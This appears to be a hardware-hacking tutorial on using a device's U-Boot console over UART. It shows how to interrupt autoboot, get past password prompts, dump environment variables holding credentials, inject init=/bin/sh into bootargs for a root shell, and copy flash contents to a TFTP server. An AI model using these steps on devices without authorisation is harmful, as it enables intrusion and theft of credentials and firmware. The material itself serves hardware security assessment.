U-Boot Console
practicalWhat Is U-Boot
U-Boot (Universal Boot Loader) is the de-facto bootloader on embedded Linux devices. Routers, IP cameras, smart gateways, industrial controllers β nearly all of them use it. When a device powers on, U-Boot runs first. It initializes the CPU, sets up DRAM, probes flash storage, and then hands off execution to the Linux kernel.
From an attacker's perspective, that sequence is everything. U-Boot executes before any OS-level security: no SELinux, no firewall, no login daemon. It has raw hardware access and, critically, it is often left completely open by manufacturers who assume physical access is already a given.
If you have a UART connection and the device runs U-Boot, you are one keypress away from full control of the boot process.
Interrupting the Boot Sequence
When U-Boot starts, it prints a countdown before booting automatically. This is the autoboot delay. The default window is usually 1 to 3 seconds. Miss it and the kernel boots normally. Catch it and you drop into the U-Boot interactive shell.
Watch for output like:
U-Boot 2019.04 (Jan 15 2022 - 10:23:41 +0000)
CPU: Atheros AR9341 rev 3
DRAM: 128 MiB
Flash: 16 MiB
Net: eth0
Hit any key to stop autoboot: 3
The moment you see Hit any key to stop autoboot β or variants like Press any key to stop autoboot, Autoboot in, or Press SPACE to abort β spam your terminal. Send spacebar, Enter, or Ctrl+C rapidly and repeatedly. You have a very short window.
Once you interrupt it, you land at the prompt:
=>
That => is the U-Boot shell. You now control the boot process.
Dealing with protected devices: some vendors add a password to the U-Boot prompt. If you hit a Password: prompt after pressing a key, you have a few options:
- Search the GPL source release for the password. Most vendors are required to publish firmware source code; U-Boot passwords are often hardcoded as a
#definein the board configuration files. - Try vendor defaults:
admin,1234,password, the device serial number. - Some implementations fall through to the prompt anyway after a timeout, even if you enter a wrong password β test this.
- Check if older firmware versions had no password and whether a downgrade is possible.
Essential U-Boot Commands
Once you are at the => prompt, start with reconnaissance.
# Print all environment variables
printenv
# Print a specific variable
printenv bootargs
# Show memory contents at a given address (100 words)
md 0x80000000 100
# List available commands
help
# Reboot the device
reset
The most important command is printenv. It dumps all U-Boot environment variables β the configuration layer that sits between U-Boot and the kernel. Run it immediately.
A realistic printenv output on a consumer router:
=> printenv
baudrate=115200
bootargs=console=ttyS0,115200 root=/dev/mtdblock3 rootfstype=squashfs noinitrd
bootcmd=bootm 0x9f050000
bootdelay=3
ethaddr=c8:d3:a3:xx:xx:xx
ipaddr=192.168.1.1
serverip=192.168.1.254
netmask=255.255.255.0
stdin=serial
stdout=serial
stderr=serial
wifi_ssid=EspiDevice_Setup
wifi_key=SetupKey9182
upgrade_url=http://update.vendor.internal/firmware/v2/
Environment size: 512/65532 bytes
Note what just appeared: the WiFi key, the internal update server URL, the device's default IP. Manufacturers routinely leave credentials, API keys, and infrastructure URLs in U-Boot environment variables because it is convenient during production. This is a goldmine.
Reading and Understanding bootargs
The bootargs variable is the kernel command line. U-Boot passes it verbatim to the Linux kernel at boot time. It tells the kernel where to find the root filesystem, which console to use, and various tuning options.
=> printenv bootargs
bootargs=console=ttyS0,115200 root=/dev/mtdblock3 rootfstype=squashfs noinitrd
Breaking this down:
console=ttyS0,115200β kernel output goes to the UART port at 115200 baud. This confirms your connection is the primary console.root=/dev/mtdblock3β root filesystem lives on MTD partition 3.rootfstype=squashfsβ it is a compressed, read-only filesystem.noinitrdβ no initial RAM disk; the kernel mounts flash directly.
This tells you the filesystem layout. You now know which MTD partition holds the root FS, which is useful for extraction later.
Modifying bootargs to Get a Shell
This is the core technique. By changing the bootargs variable, you can inject parameters into the kernel command line before the kernel starts. The most powerful parameter: init=.
The init parameter tells the kernel what to run as PID 1 β the first process. Normally it is /sbin/init or /etc/init. If you point it at /bin/sh, you get a root shell before any init system, any service, any login daemon starts.
# Check current bootargs
=> printenv bootargs
bootargs=console=ttyS0,115200 root=/dev/mtdblock3 rootfstype=squashfs noinitrd
# Override to inject a shell
=> setenv bootargs console=ttyS0,115200 root=/dev/mtdblock3 rootfstype=squashfs init=/bin/sh
# Confirm the change
=> printenv bootargs
bootargs=console=ttyS0,115200 root=/dev/mtdblock3 rootfstype=squashfs init=/bin/sh
# Boot with the modified args
=> boot
If /bin/sh is not present, try /bin/busybox sh β BusyBox is standard on embedded Linux devices and provides a shell applet.
When the kernel finishes booting, instead of a login prompt, you get:
/ #
You are root. The device is yours. No credentials required.
Note: this is not persistent. The setenv command modifies the in-memory environment. After a reboot, the device returns to its original bootargs. If you want persistence, use saveenv to write the modified environment to flash β but be careful: a bad saveenv on a broken U-Boot can brick a device.
Extracting Flash Contents via U-Boot
If your goal is full firmware extraction rather than a live shell, U-Boot can read flash directly.
# Probe the SPI flash controller
=> sf probe
# Read 8MB from flash offset 0x0 into RAM at address 0x80000000
=> sf read 0x80000000 0x0 0x800000
# Dump memory to verify it loaded (look for ELF/squashfs magic bytes)
=> md 0x80000000 10
Exfiltrating that memory over UART is slow but possible using the loady (YMODEM) or loads (S-record) commands, depending on what your U-Boot build supports. For large dumps, a network boot via TFTP is faster β if the device has an Ethernet port and you can reach the network interface:
# Set attacker TFTP server IP
=> setenv serverip 192.168.1.100
# Save RAM contents to TFTP server (write back β not all builds support this)
# Alternatively: tftpput
In practice, for large flash extractions from U-Boot, TFTP is the realistic path. Set up a TFTP server on your laptop, connect Ethernet, and use tftpput or loady depending on what commands your U-Boot exposes.
What to Look for in U-Boot Environment Variables
Beyond bootargs, the U-Boot environment frequently contains:
- WiFi credentials (
wifi_key,wpa_passphrase,ap_password) β often the production AP key - Root filesystem keys β some vendors store dm-crypt or SquashFS decryption keys here
- Internal service URLs (
upgrade_url,cloud_endpoint,ntp_server) β reveals internal infrastructure - Hardware identifiers (
serial,ethaddr,board_id) β useful for spoofing or license bypass - Factory test flags (
factory_mode=1) β may enable hidden interfaces - Default login credentials β yes, sometimes literally in plaintext
Always dump the full environment with printenv and save the output before touching anything else. It takes five seconds and has repeatedly yielded full device compromise in real assessments.
Summary
U-Boot is not a security boundary β it is an opportunity. The autoboot interrupt gives you control of the boot process before the OS starts. printenv exposes configuration, credentials, and infrastructure details that were never meant to be seen. And setenv bootargs with init=/bin/sh turns a black box embedded device into an open root shell in under a minute.
This technique works on routers, cameras, access points, industrial gateways, and virtually any ARM or MIPS embedded device running U-Boot. Master this and you will have root on most devices the moment a UART connection is established.